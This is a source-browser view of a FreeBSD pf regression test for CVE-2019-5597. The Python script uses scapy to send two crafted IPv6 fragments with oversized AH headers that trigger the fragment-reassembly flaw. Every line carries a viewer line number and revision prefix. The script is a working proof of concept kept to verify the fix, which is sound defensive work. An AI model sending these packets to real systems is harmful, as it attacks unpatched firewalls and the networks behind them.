xref: /freebsd/tests/sys/netpfil/pf/CVE-2019-5597.py (revision 4d846d260e2b9a3d4d0a701462568268cbfe7a5b)
14a7d8405SKristof Provost#!/usr/bin/env python3
265d553b0SKristof Provost#
3*4d846d26SWarner Losh# SPDX-License-Identifier: BSD-2-Clause
465d553b0SKristof Provost#
565d553b0SKristof Provost# Copyright (c) 2019 Synacktiv
665d553b0SKristof Provost#
765d553b0SKristof Provost# Redistribution and use in source and binary forms, with or without
865d553b0SKristof Provost# modification, are permitted provided that the following conditions
965d553b0SKristof Provost# are met:
1065d553b0SKristof Provost# 1. Redistributions of source code must retain the above copyright
1165d553b0SKristof Provost#    notice, this list of conditions and the following disclaimer.
1265d553b0SKristof Provost# 2. Redistributions in binary form must reproduce the above copyright
1365d553b0SKristof Provost#    notice, this list of conditions and the following disclaimer in the
1465d553b0SKristof Provost#    documentation and/or other materials provided with the distribution.
1565d553b0SKristof Provost#
1665d553b0SKristof Provost# THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
1765d553b0SKristof Provost# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
1865d553b0SKristof Provost# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
1965d553b0SKristof Provost# ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
2065d553b0SKristof Provost# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
2165d553b0SKristof Provost# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
2265d553b0SKristof Provost# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
2365d553b0SKristof Provost# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
2465d553b0SKristof Provost# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
2565d553b0SKristof Provost# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
2665d553b0SKristof Provost# SUCH DAMAGE.
2715426769SKristof Provost
2815426769SKristof Provostimport random
29a26e895fSKristof Provostimport logging
30a26e895fSKristof Provostlogging.getLogger("scapy").setLevel(logging.CRITICAL)
3115426769SKristof Provostimport scapy.all as sp
3215426769SKristof Provostimport sys
3315426769SKristof Provost
3415426769SKristof ProvostUDP_PROTO  = 17
3515426769SKristof ProvostAH_PROTO   = 51
3615426769SKristof ProvostFRAG_PROTO = 44
3715426769SKristof Provost
3815426769SKristof Provostdef main():
3915426769SKristof Provost    intf = sys.argv[1]
4015426769SKristof Provost    ipv6_src = sys.argv[2]
4115426769SKristof Provost    ipv6_dst = sys.argv[3]
4215426769SKristof Provost
4315426769SKristof Provost    ipv6_main = sp.IPv6(dst=ipv6_dst, src=ipv6_src)
4415426769SKristof Provost
4515426769SKristof Provost    padding = 8
4615426769SKristof Provost    fid = random.randint(0,100000)
4715426769SKristof Provost    frag_0 = sp.IPv6ExtHdrFragment(id=fid, nh=UDP_PROTO, m=1, offset=0)
48f0297f12SBjoern A. Zeeb    foff_1 = (int)(padding/8)
49f0297f12SBjoern A. Zeeb    frag_1 = sp.IPv6ExtHdrFragment(id=fid, nh=UDP_PROTO, m=0, offset=foff_1)
5015426769SKristof Provost
5115426769SKristof Provost    pkt1_opts = sp.AH(nh=AH_PROTO, payloadlen=200) \
5215426769SKristof Provost            / sp.Raw('XXXX' * 199) \
5315426769SKristof Provost            / sp.AH(nh=FRAG_PROTO, payloadlen=1) \
5415426769SKristof Provost            / frag_1
5515426769SKristof Provost
5615426769SKristof Provost    pkt0 = sp.Ether() / ipv6_main / frag_0 / sp.Raw('A' * padding)
5715426769SKristof Provost    pkt1 = sp.Ether() / ipv6_main / pkt1_opts / sp.Raw('B' * padding)
5815426769SKristof Provost
5915426769SKristof Provost    sp.sendp(pkt0, iface=intf, verbose=False)
6015426769SKristof Provost    sp.sendp(pkt1, iface=intf, verbose=False)
6115426769SKristof Provost
6215426769SKristof Provostif __name__ == '__main__':
6315426769SKristof Provost	main()
64